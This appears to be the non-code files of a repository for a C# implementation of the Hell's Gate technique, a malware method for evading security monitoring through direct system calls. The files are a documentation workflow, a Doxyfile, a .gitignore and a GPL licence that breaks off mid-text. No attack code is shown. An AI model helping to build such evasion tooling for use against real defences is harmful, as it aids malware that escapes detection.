[
  {
    "path": ".github/workflows/documentation.yaml",
    "content": "name: Documentation\r\n\r\n# Controls when the action will run. Triggers the workflow on push or pull request\r\n# events but only for the master branch\r\non:\r\n  push:\r\n    branches: [ master ]\r\n\r\njobs:\r\n  build-documentation:\r\n    runs-on: ubuntu-latest\r\n\r\n    steps:\r\n    - uses: actions/checkout@v2\r\n    \r\n    # Build the HTML documentation\r\n    - name: Doxygen Action\r\n      uses: mattnotmitt/doxygen-action@v1.1.0\r\n      with:\r\n          doxyfile-path: ./Doxyfile\r\n          working-directory: .\r\n    \r\n    # Deploy the HTML documentation to GitHub Pages\r\n    - name: GH Pages Deployment\r\n      uses: peaceiris/actions-gh-pages@v3\r\n      with:\r\n        github_token: ${{ secrets.GITHUB_TOKEN }}\r\n        publish_dir: ./doc/html/\r\n        enable_jekyll: false\r\n        allow_empty_commit: false\r\n        force_orphan: true\r\n        publish_branch: gh-pages\r\n"
  },
  {
    "path": ".gitignore",
    "content": ".vs/\r\nSharpHellsGate/bin/\r\nSharpHellsGate/obj/\r\n"
  },
  {
    "path": "Doxyfile",
    "content": "# Doxyfile 1.8.18\r\n\r\n#---------------------------------------------------------------------------\r\n# Project related configuration options\r\n#---------------------------------------------------------------------------\r\nDOXYFILE_ENCODING      = UTF-8\r\nPROJECT_NAME           = \"Shap Hell's Gate\"\r\nPROJECT_NUMBER         = 1.0\r\nPROJECT_BRIEF          = \"C# Implementation of the Hell's Gate VX Technique\"\r\nPROJECT_LOGO           =\r\nOUTPUT_DIRECTORY       = ./doc/\r\nCREATE_SUBDIRS         = YES\r\nALLOW_UNICODE_NAMES    = NO\r\nOUTPUT_LANGUAGE        = English\r\nOUTPUT_TEXT_DIRECTION  = None\r\nBRIEF_MEMBER_DESC      = YES\r\nREPEAT_BRIEF           = YES\r\nABBREVIATE_BRIEF       = \"The $name class\" \\\r\n                         \"The $name widget\" \\\r\n                         \"The $name file\" \\\r\n                         is \\\r\n                         provides \\\r\n                         specifies \\\r\n                         contains \\\r\n                         represents \\\r\n                         a \\\r\n                         an \\\r\n                         the\r\nALWAYS_DETAILED_SEC    = NO\r\nINLINE_INHERITED_MEMB  = NO\r\nFULL_PATH_NAMES        = YES\r\nSTRIP_FROM_PATH        =\r\nSTRIP_FROM_INC_PATH    =\r\nSHORT_NAMES            = NO\r\nJAVADOC_AUTOBRIEF      = NO\r\nJAVADOC_BANNER         = NO\r\nQT_AUTOBRIEF           = NO\r\nMULTILINE_CPP_IS_BRIEF = NO\r\nINHERIT_DOCS           = YES\r\nSEPARATE_MEMBER_PAGES  = NO\r\nTAB_SIZE               = 4\r\nALIASES                =\r\nOPTIMIZE_OUTPUT_FOR_C  = NO\r\nOPTIMIZE_OUTPUT_JAVA   = NO\r\nOPTIMIZE_FOR_FORTRAN   = NO\r\nOPTIMIZE_OUTPUT_VHDL   = NO\r\nOPTIMIZE_OUTPUT_SLICE  = NO\r\nEXTENSION_MAPPING      =\r\nMARKDOWN_SUPPORT       = YES\r\nTOC_INCLUDE_HEADINGS   = 5\r\nAUTOLINK_SUPPORT       = YES\r\nBUILTIN_STL_SUPPORT    = NO\r\nCPP_CLI_SUPPORT        = NO\r\nSIP_SUPPORT            = NO\r\nIDL_PROPERTY_SUPPORT   = YES\r\nDISTRIBUTE_GROUP_DOC   = NO\r\nGROUP_NESTED_COMPOUNDS = NO\r\nSUBGROUPING            = YES\r\nINLINE_GROUPED_CLASSES = NO\r\nINLINE_SIMPLE_STRUCTS  = NO\r\nTYPEDEF_HIDES_STRUCT   = NO\r\nLOOKUP_CACHE_SIZE      = 0\r\n#---------------------------------------------------------------------------\r\n# Build related configuration options\r\n#---------------------------------------------------------------------------\r\nEXTRACT_ALL            = YES\r\nEXTRACT_PRIVATE        = YES\r\nEXTRACT_PRIV_VIRTUAL   = YES\r\nEXTRACT_PACKAGE        = YES\r\nEXTRACT_STATIC         = YES\r\nEXTRACT_LOCAL_CLASSES  = YES\r\nEXTRACT_LOCAL_METHODS  = NO\r\nEXTRACT_ANON_NSPACES   = YES\r\nHIDE_UNDOC_MEMBERS     = NO\r\nHIDE_UNDOC_CLASSES     = NO\r\nHIDE_FRIEND_COMPOUNDS  = NO\r\nHIDE_IN_BODY_DOCS      = NO\r\nINTERNAL_DOCS          = NO\r\nCASE_SENSE_NAMES       = YES\r\nHIDE_SCOPE_NAMES       = NO\r\nHIDE_COMPOUND_REFERENCE= NO\r\nSHOW_INCLUDE_FILES     = YES\r\nSHOW_GROUPED_MEMB_INC  = NO\r\nFORCE_LOCAL_INCLUDES   = NO\r\nINLINE_INFO            = YES\r\nSORT_MEMBER_DOCS       = YES\r\nSORT_BRIEF_DOCS        = NO\r\nSORT_MEMBERS_CTORS_1ST = NO\r\nSORT_GROUP_NAMES       = NO\r\nSORT_BY_SCOPE_NAME     = NO\r\nSTRICT_PROTO_MATCHING  = NO\r\nGENERATE_TODOLIST      = YES\r\nGENERATE_TESTLIST      = YES\r\nGENERATE_BUGLIST       = YES\r\nGENERATE_DEPRECATEDLIST= YES\r\nENABLED_SECTIONS       =\r\nMAX_INITIALIZER_LINES  = 30\r\nSHOW_USED_FILES        = YES\r\nSHOW_FILES             = YES\r\nSHOW_NAMESPACES        = YES\r\nFILE_VERSION_FILTER    =\r\nLAYOUT_FILE            =\r\nCITE_BIB_FILES         =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to warning and progress messages\r\n#---------------------------------------------------------------------------\r\nQUIET                  = NO\r\nWARNINGS               = YES\r\nWARN_IF_UNDOCUMENTED   = YES\r\nWARN_IF_DOC_ERROR      = YES\r\nWARN_NO_PARAMDOC       = NO\r\nWARN_AS_ERROR          = NO\r\nWARN_FORMAT            = \"$file:$line: $text\"\r\nWARN_LOGFILE           =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the input files\r\n#---------------------------------------------------------------------------\r\nINPUT                  = .\r\nINPUT_ENCODING         = UTF-8\r\nFILE_PATTERNS          = *.c \\\r\n                         *.cc \\\r\n                         *.cxx \\\r\n                         *.cpp \\\r\n                         *.c++ \\\r\n                         *.java \\\r\n                         *.ii \\\r\n                         *.ixx \\\r\n                         *.ipp \\\r\n                         *.i++ \\\r\n                         *.inl \\\r\n                         *.idl \\\r\n                         *.ddl \\\r\n                         *.odl \\\r\n                         *.h \\\r\n                         *.hh \\\r\n                         *.hxx \\\r\n                         *.hpp \\\r\n                         *.h++ \\\r\n                         *.cs \\\r\n                         *.d \\\r\n                         *.php \\\r\n                         *.php4 \\\r\n                         *.php5 \\\r\n                         *.phtml \\\r\n                         *.inc \\\r\n                         *.m \\\r\n                         *.markdown \\\r\n                         *.md \\\r\n                         *.mm \\\r\n                         *.dox \\\r\n                         *.doc \\\r\n                         *.txt \\\r\n                         *.py \\\r\n                         *.pyw \\\r\n                         *.f90 \\\r\n                         *.f95 \\\r\n                         *.f03 \\\r\n                         *.f08 \\\r\n                         *.f18 \\\r\n                         *.f \\\r\n                         *.for \\\r\n                         *.vhd \\\r\n                         *.vhdl \\\r\n                         *.ucf \\\r\n                         *.qsf \\\r\n                         *.ice\r\nRECURSIVE              = YES\r\nEXCLUDE                =\r\nEXCLUDE_SYMLINKS       = NO\r\nEXCLUDE_PATTERNS       =\r\nEXCLUDE_SYMBOLS        =\r\nEXAMPLE_PATH           =\r\nEXAMPLE_PATTERNS       = *\r\nEXAMPLE_RECURSIVE      = NO\r\nIMAGE_PATH             =\r\nINPUT_FILTER           =\r\nFILTER_PATTERNS        =\r\nFILTER_SOURCE_FILES    = NO\r\nFILTER_SOURCE_PATTERNS =\r\nUSE_MDFILE_AS_MAINPAGE =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to source browsing\r\n#---------------------------------------------------------------------------\r\nSOURCE_BROWSER         = YES\r\nINLINE_SOURCES         = YES\r\nSTRIP_CODE_COMMENTS    = YES\r\nREFERENCED_BY_RELATION = YES\r\nREFERENCES_RELATION    = NO\r\nREFERENCES_LINK_SOURCE = YES\r\nSOURCE_TOOLTIPS        = YES\r\nUSE_HTAGS              = NO\r\nVERBATIM_HEADERS       = YES\r\nCLANG_ASSISTED_PARSING = NO\r\nCLANG_OPTIONS          =\r\nCLANG_DATABASE_PATH    =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the alphabetical class index\r\n#---------------------------------------------------------------------------\r\nALPHABETICAL_INDEX     = YES\r\nCOLS_IN_ALPHA_INDEX    = 5\r\nIGNORE_PREFIX          =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the HTML output\r\n#---------------------------------------------------------------------------\r\nGENERATE_HTML          = YES\r\nHTML_OUTPUT            = html\r\nHTML_FILE_EXTENSION    = .html\r\nHTML_HEADER            =\r\nHTML_FOOTER            =\r\nHTML_STYLESHEET        =\r\nHTML_EXTRA_STYLESHEET  =\r\nHTML_EXTRA_FILES       =\r\nHTML_COLORSTYLE_HUE    = 220\r\nHTML_COLORSTYLE_SAT    = 100\r\nHTML_COLORSTYLE_GAMMA  = 80\r\nHTML_TIMESTAMP         = YES\r\nHTML_DYNAMIC_MENUS     = YES\r\nHTML_DYNAMIC_SECTIONS  = NO\r\nHTML_INDEX_NUM_ENTRIES = 100\r\nGENERATE_DOCSET        = NO\r\nDOCSET_FEEDNAME        = \"Doxygen generated docs\"\r\nDOCSET_BUNDLE_ID       = org.doxygen.Project\r\nDOCSET_PUBLISHER_ID    = org.doxygen.Publisher\r\nDOCSET_PUBLISHER_NAME  = Publisher\r\nGENERATE_HTMLHELP      = NO\r\nCHM_FILE               =\r\nHHC_LOCATION           =\r\nGENERATE_CHI           = NO\r\nCHM_INDEX_ENCODING     =\r\nBINARY_TOC             = NO\r\nTOC_EXPAND             = NO\r\nGENERATE_QHP           = NO\r\nQCH_FILE               =\r\nQHP_NAMESPACE          = org.doxygen.Project\r\nQHP_VIRTUAL_FOLDER     = doc\r\nQHP_CUST_FILTER_NAME   =\r\nQHP_CUST_FILTER_ATTRS  =\r\nQHP_SECT_FILTER_ATTRS  =\r\nQHG_LOCATION           =\r\nGENERATE_ECLIPSEHELP   = NO\r\nECLIPSE_DOC_ID         = org.doxygen.Project\r\nDISABLE_INDEX          = NO\r\nGENERATE_TREEVIEW      = YES\r\nENUM_VALUES_PER_LINE   = 4\r\nTREEVIEW_WIDTH         = 250\r\nEXT_LINKS_IN_WINDOW    = NO\r\nHTML_FORMULA_FORMAT    = png\r\nFORMULA_FONTSIZE       = 10\r\nFORMULA_TRANSPARENT    = YES\r\nFORMULA_MACROFILE      =\r\nUSE_MATHJAX            = NO\r\nMATHJAX_FORMAT         = HTML-CSS\r\nMATHJAX_RELPATH        = https://cdn.jsdelivr.net/npm/mathjax@2\r\nMATHJAX_EXTENSIONS     =\r\nMATHJAX_CODEFILE       =\r\nSEARCHENGINE           = YES\r\nSERVER_BASED_SEARCH    = NO\r\nEXTERNAL_SEARCH        = NO\r\nSEARCHENGINE_URL       =\r\nSEARCHDATA_FILE        = searchdata.xml\r\nEXTERNAL_SEARCH_ID     =\r\nEXTRA_SEARCH_MAPPINGS  =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the LaTeX output\r\n#---------------------------------------------------------------------------\r\nGENERATE_LATEX         = NO\r\nLATEX_OUTPUT           = latex\r\nLATEX_CMD_NAME         =\r\nMAKEINDEX_CMD_NAME     = makeindex\r\nLATEX_MAKEINDEX_CMD    = makeindex\r\nCOMPACT_LATEX          = NO\r\nPAPER_TYPE             = a4\r\nEXTRA_PACKAGES         =\r\nLATEX_HEADER           =\r\nLATEX_FOOTER           =\r\nLATEX_EXTRA_STYLESHEET =\r\nLATEX_EXTRA_FILES      =\r\nPDF_HYPERLINKS         = YES\r\nUSE_PDFLATEX           = YES\r\nLATEX_BATCHMODE        = NO\r\nLATEX_HIDE_INDICES     = NO\r\nLATEX_SOURCE_CODE      = NO\r\nLATEX_BIB_STYLE        = plain\r\nLATEX_TIMESTAMP        = NO\r\nLATEX_EMOJI_DIRECTORY  =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the RTF output\r\n#---------------------------------------------------------------------------\r\nGENERATE_RTF           = NO\r\nRTF_OUTPUT             = rtf\r\nCOMPACT_RTF            = NO\r\nRTF_HYPERLINKS         = NO\r\nRTF_STYLESHEET_FILE    =\r\nRTF_EXTENSIONS_FILE    =\r\nRTF_SOURCE_CODE        = NO\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the man page output\r\n#---------------------------------------------------------------------------\r\nGENERATE_MAN           = NO\r\nMAN_OUTPUT             = man\r\nMAN_EXTENSION          = .3\r\nMAN_SUBDIR             =\r\nMAN_LINKS              = NO\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the XML output\r\n#---------------------------------------------------------------------------\r\nGENERATE_XML           = NO\r\nXML_OUTPUT             = xml\r\nXML_PROGRAMLISTING     = YES\r\nXML_NS_MEMB_FILE_SCOPE = NO\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the DOCBOOK output\r\n#---------------------------------------------------------------------------\r\nGENERATE_DOCBOOK       = NO\r\nDOCBOOK_OUTPUT         = docbook\r\nDOCBOOK_PROGRAMLISTING = NO\r\n#---------------------------------------------------------------------------\r\n# Configuration options for the AutoGen Definitions output\r\n#---------------------------------------------------------------------------\r\nGENERATE_AUTOGEN_DEF   = NO\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the Perl module output\r\n#---------------------------------------------------------------------------\r\nGENERATE_PERLMOD       = NO\r\nPERLMOD_LATEX          = NO\r\nPERLMOD_PRETTY         = YES\r\nPERLMOD_MAKEVAR_PREFIX =\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the preprocessor\r\n#---------------------------------------------------------------------------\r\nENABLE_PREPROCESSING   = YES\r\nMACRO_EXPANSION        = NO\r\nEXPAND_ONLY_PREDEF     = NO\r\nSEARCH_INCLUDES        = YES\r\nINCLUDE_PATH           =\r\nINCLUDE_FILE_PATTERNS  =\r\nPREDEFINED             =\r\nEXPAND_AS_DEFINED      =\r\nSKIP_FUNCTION_MACROS   = YES\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to external references\r\n#---------------------------------------------------------------------------\r\nTAGFILES               =\r\nGENERATE_TAGFILE       =\r\nALLEXTERNALS           = NO\r\nEXTERNAL_GROUPS        = YES\r\nEXTERNAL_PAGES         = YES\r\n#---------------------------------------------------------------------------\r\n# Configuration options related to the dot tool\r\n#---------------------------------------------------------------------------\r\nCLASS_DIAGRAMS         = YES\r\nDIA_PATH               =\r\nHIDE_UNDOC_RELATIONS   = YES\r\nHAVE_DOT               = NO\r\nDOT_NUM_THREADS        = 1\r\nDOT_FONTNAME           = Helvetica\r\nDOT_FONTSIZE           = 10\r\nDOT_FONTPATH           =\r\nCLASS_GRAPH            = YES\r\nCOLLABORATION_GRAPH    = YES\r\nGROUP_GRAPHS           = YES\r\nUML_LOOK               = NO\r\nUML_LIMIT_NUM_FIELDS   = 10\r\nTEMPLATE_RELATIONS     = NO\r\nINCLUDE_GRAPH          = YES\r\nINCLUDED_BY_GRAPH      = YES\r\nCALL_GRAPH             = NO\r\nCALLER_GRAPH           = NO\r\nGRAPHICAL_HIERARCHY    = YES\r\nDIRECTORY_GRAPH        = YES\r\nDOT_IMAGE_FORMAT       = png\r\nINTERACTIVE_SVG        = NO\r\nDOT_PATH               =\r\nDOTFILE_DIRS           =\r\nMSCFILE_DIRS           =\r\nDIAFILE_DIRS           =\r\nPLANTUML_JAR_PATH      =\r\nPLANTUML_CFG_FILE      =\r\nPLANTUML_INCLUDE_PATH  =\r\nDOT_GRAPH_MAX_NODES    = 50\r\nMAX_DOT_GRAPH_DEPTH    = 0\r\nDOT_TRANSPARENT        = NO\r\nDOT_MULTI_TARGETS      = YES\r\nGENERATE_LEGEND        = YES\r\nDOT_CLEANUP            = YES"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally 